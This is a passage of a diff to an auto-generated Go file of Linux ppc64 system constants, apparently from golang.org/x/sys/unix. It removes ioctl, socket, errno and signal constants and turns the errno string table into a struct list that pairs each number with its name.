-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x2000
-+ MCL_FUTURE = 0x4000
-+ MCL_ONFAULT = 0x8000
-+ NFDBITS = 0x40
-+ NL2 = 0x200
-+ NL3 = 0x300
-+ NLDLY = 0x300
-+ NOFLSH = 0x80000000
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x4
-+ ONLCR = 0x2
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x20000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x1000
-+ PARODD = 0x2000
-+ PENDIN = 0x20000000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PROT_SAO = 0x10
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETEVRREGS = 0x14
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETREGS64 = 0x16
-+ PTRACE_GETVRREGS = 0x12
-+ PTRACE_GETVSRREGS = 0x1b
-+ PTRACE_GET_DEBUGREG = 0x19
-+ PTRACE_SETEVRREGS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETREGS64 = 0x17
-+ PTRACE_SETVRREGS = 0x13
-+ PTRACE_SETVSRREGS = 0x1c
-+ PTRACE_SET_DEBUGREG = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x100
-+ PTRACE_SYSEMU = 0x1d
-+ PTRACE_SYSEMU_SINGLESTEP = 0x1e
-+ PT_CCR = 0x26
-+ PT_CTR = 0x23
-+ PT_DAR = 0x29
-+ PT_DSCR = 0x2c
-+ PT_DSISR = 0x2a
-+ PT_FPR0 = 0x30
-+ PT_FPSCR = 0x50
-+ PT_LNK = 0x24
-+ PT_MSR = 0x21
-+ PT_NIP = 0x20
-+ PT_ORIG_R3 = 0x22
-+ PT_R0 = 0x0
-+ PT_R1 = 0x1
-+ PT_R10 = 0xa
-+ PT_R11 = 0xb
-+ PT_R12 = 0xc
-+ PT_R13 = 0xd
-+ PT_R14 = 0xe
-+ PT_R15 = 0xf
-+ PT_R16 = 0x10
-+ PT_R17 = 0x11
-+ PT_R18 = 0x12
-+ PT_R19 = 0x13
-+ PT_R2 = 0x2
-+ PT_R20 = 0x14
-+ PT_R21 = 0x15
-+ PT_R22 = 0x16
-+ PT_R23 = 0x17
-+ PT_R24 = 0x18
-+ PT_R25 = 0x19
-+ PT_R26 = 0x1a
-+ PT_R27 = 0x1b
-+ PT_R28 = 0x1c
-+ PT_R29 = 0x1d
-+ PT_R3 = 0x3
-+ PT_R30 = 0x1e
-+ PT_R31 = 0x1f
-+ PT_R4 = 0x4
-+ PT_R5 = 0x5
-+ PT_R6 = 0x6
-+ PT_R7 = 0x7
-+ PT_R8 = 0x8
-+ PT_R9 = 0x9
-+ PT_REGS_COUNT = 0x2c
-+ PT_RESULT = 0x2b
-+ PT_SOFTE = 0x27
-+ PT_TRAP = 0x28
-+ PT_VR0 = 0x52
-+ PT_VRSAVE = 0x94
-+ PT_VSCR = 0x93
-+ PT_VSR0 = 0x96
-+ PT_VSR31 = 0xd4
-+ PT_XER = 0x25
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x4004667f
-+ SIOCOUTQ = 0x40047473
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x14
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x15
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x10
-+ SO_RCVTIMEO = 0x12
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x12
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x11
-+ SO_SNDTIMEO = 0x13
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x13
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x2000741f
-+ TCGETA = 0x40147417
-+ TCGETS = 0x402c7413
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x2000741d
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x80147418
-+ TCSETAF = 0x8014741c
-+ TCSETAW = 0x80147419
-+ TCSETS = 0x802c7414
-+ TCSETSF = 0x802c7416
-+ TCSETSW = 0x802c7415
-+ TCXONC = 0x2000741e
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x40045432
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x5424
-+ TIOCGETP = 0x40067408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x4004667f
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_LOOP = 0x8000
-+ TIOCM_OUT1 = 0x2000
-+ TIOCM_OUT2 = 0x4000
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETC = 0x80067411
-+ TIOCSETD = 0x5423
-+ TIOCSETN = 0x8006740a
-+ TIOCSETP = 0x80067409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSLTC = 0x80067475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0x5412
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x400000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0x10
-+ VEOF = 0x4
-+ VEOL = 0x6
-+ VEOL2 = 0x8
-+ VMIN = 0x5
-+ VREPRINT = 0xb
-+ VSTART = 0xd
-+ VSTOP = 0xe
-+ VSUSP = 0xc
-+ VSWTC = 0x9
-+ VT1 = 0x10000
-+ VTDLY = 0x10000
-+ VTIME = 0x7
-+ VWERASE = 0xa
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4000
-+ XTABS = 0xc00
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1943,23 +562,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x3a)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1976,8 +587,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1985,103 +594,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2092,172 +668,180 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 58: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
